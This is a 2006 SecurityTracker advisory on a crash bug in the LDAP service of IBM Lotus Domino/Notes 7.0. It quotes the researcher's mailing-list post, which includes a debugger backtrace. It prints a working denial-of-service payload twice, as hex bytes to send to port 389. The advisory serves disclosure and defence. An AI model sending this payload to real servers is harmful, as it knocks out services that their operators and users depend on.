IBM Lotus Domino/Notes LDAP Bug Lets Remote Users Deny Service
|
|
SecurityTracker Alert ID: 1015592
|
|
SecurityTracker URL: http://securitytracker.com/id?1015592
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Feb 7 2006
|
Impact: Denial of service via network
|
Exploit Included: Yes
|
Version(s): 7.0
|
Description: A vulnerability was reported in IBM Lotus Domino/Notes. A remote user can cause denial of service conditions.
A remote user can send specially crafted data to the LDAP port on the target server to cause the server to crash.
A demonstration
exploit is provided:
"""
30 0c 02 01 01 60 07 02 00 03 04 00 80 00
""""
Evgeny Legerov from GLEG Ltd. reported this vulnerability.
|
Impact: A remote user can cause the target service to crash.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.ibm.com/ (Links to External Site)
|
Cause: Exception handling error
|
Underlying OS: Linux (Any), UNIX (AIX), UNIX (HP/UX), UNIX (Solaris - SunOS), Windows (NT), Windows (2000)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Tue, 7 Feb 2006 10:32:32 -0500
Subject: [Dailydave] ProtoVer vs Lotus Domino Server 7.0
|
From: Evgeny Legerov <admin@gleg.net>
Date: Fri Feb 3 20:33:53 EST 2006
Hi,
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1721508944 (LWP 17444)]
0x08068579 in CLDAPProtocol::StateBind ()
(gdb) bt
#0 0x08068579 in CLDAPProtocol::StateBind ()
#1 0x0805c413 in CLDAPProtocol::Run ()
#2 0x0809523c in CBaseTask::StateMachine ()
#3 0x0805a12d in CLDAPSrv::OnConnect ()
#4 0x08092618 in CIServ::ServerTaskProtocolMachine ()
#5 0x08091d1a in CIServ::ServerTaskIOCP ()
#6 0x08090dc8 in ServerThread ()
#7 0x9ff49826 in ThreadWrapper () from
/opt/ibm/lotus/notes/latest/linux/libnotes.so
#8 0x9fdfab80 in start_thread () from
/lib/libpthread.so.0
#9 0x9fc9ddee in clone () from /lib/libc.so.6
(gdb) x/i $eip
0x8068579 <_ZN13CLDAPProtocol9StateBindEv+749>: cmpb
$0x0,0x0
To trigger send the following data to 389 port:
"""
30 0c 02 01 01 60 07 02 00 03 04 00 80 00
""""
Best regards,
Evgeny Legerov
CEO, GLEG Ltd.
|
|
